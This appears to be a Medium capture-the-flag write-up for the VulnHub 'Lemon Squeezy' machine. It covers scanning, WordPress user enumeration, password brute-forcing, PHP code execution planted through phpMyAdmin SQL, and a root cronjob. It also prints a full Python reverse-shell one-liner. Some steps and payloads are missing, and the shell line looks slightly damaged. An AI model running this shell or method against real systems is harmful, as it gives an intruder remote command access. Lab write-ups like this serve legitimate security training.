VulnHub-Lemon Squeezy


nmap -sC -sV
Starting Nmap 7.80 ( ) at 2021-01-25 05:47 PKT
Nmap scan report for
Host is up (0.00026s latency).
Not shown: 999 closed ports
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 00:0C:29:BF:8A:DB (VMware)
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds


Running gobuster

We see that there’s a wordpress directory and if you visit it css would not be rendered properly because it is using the domain name lemonsqueezy so put it in the /etc/hosts file

Since this is a wordpress site we can use wpscan to look for users

Bruteforcing against these users

We know that there’s another usernamed lemon maybe this is his passowrd for wordpress or phpmyadmin so let's try logging in with this

This was the password for orange to phpmyadmin

Insert a simple GET paramter php code to execute system commands through SQL

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Through this payload we get a reverse shell and I stabilized it with by spawning a shell with python also I looked at cronjobs running and there is a script running as root

This didnt work so I used the python reverse shell payload again



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store